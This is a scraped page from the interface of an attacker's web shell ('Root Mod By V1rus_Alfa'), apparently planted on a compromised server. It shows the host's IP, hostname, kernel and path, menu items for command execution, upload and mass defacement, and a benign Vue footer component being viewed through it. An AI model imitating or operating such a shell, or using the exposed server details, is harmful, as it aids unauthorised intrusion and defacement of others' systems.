���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
components.1
/
unit
/
list
/
Viewing: footer.vue
<script setup lang="ts"> // const I18n const localePath = useLocalePath() const {locale} = useI18n() const {t} = useI18n() // set const global const loadingEdit = ref(false); const projectsDB = useLocalForage('projects') const sheetsDB = useLocalForage('sheets') const toast = useToast() // Project request const ProjectReq = async () => { const project = await projectsDB.getItem('new') if (!project) { navigateTo(localePath('/analyze/start')); return toast.add({title: t("First, complete the project information section"), color: "orange"}) } const sheets = await sheetsDB.getItem('new') if (!sheets) { navigateTo(localePath('/analyze/dimensions')); return toast.add({ title: t('First, complete the section on the dimensions of the sheets to be used'), color: "orange" }) } loadingEdit.value = true; await useAPI('/analyze/project/set', { method: 'POST', body: { json_sheets: sheets, json_project: project, lang: locale.value, }, immediate: true, server: true, onResponse({response}) { if (response.status != 422) { return navigateTo(localePath('/projects')); } } }) loadingEdit.value = false; } </script> <template> <div> <footer class=" bg-white flex justify-between items-center sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t"> <div class=" w-4/12"> <ULink :to="localePath('/analyze/category')" class=" flex flex-col justify-center items-center " active-class="text-main-700" inactive-class="text-gray-500 hover:text-main-700 " > <UIcon name="i-circum-circle-plus" class=" text-3xl"/> <span class=" block text-sm text-center"> {{ t('Add Unit') }} </span> </ULink> </div> <div class=" w-4/12"> <ULink :to="localePath('/unit/make/create')" class=" flex flex-col justify-center items-center " active-class="text-main-700" inactive-class="text-gray-500 hover:text-main-700 " > <UIcon name="i-heroicons-table-cells" class=" text-main-700 text-3xl"/> <span class=" block text-sm text-center"> {{ t('add_piece') }} </span> </ULink> </div> <div class=" w-4/12"> <UButton @click="ProjectReq" class=" flex flex-col justify-center mx-auto bg-white !shadow-none text-gray-500 items-center " inactive-class="text-gray-500 !bg-white hover:text-main-700 " > <UIcon :loading="loadingEdit" :name="loadingEdit ? 'i-heroicons-arrow-path' : 'i-circum-square-check'" :class="loadingEdit ? ' text-red-600' : ''" class=" text-3xl"/> <span class=" block text-sm text-center"> {{ t('final_approval') }} </span> </UButton> </div> </footer> </div> </template>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa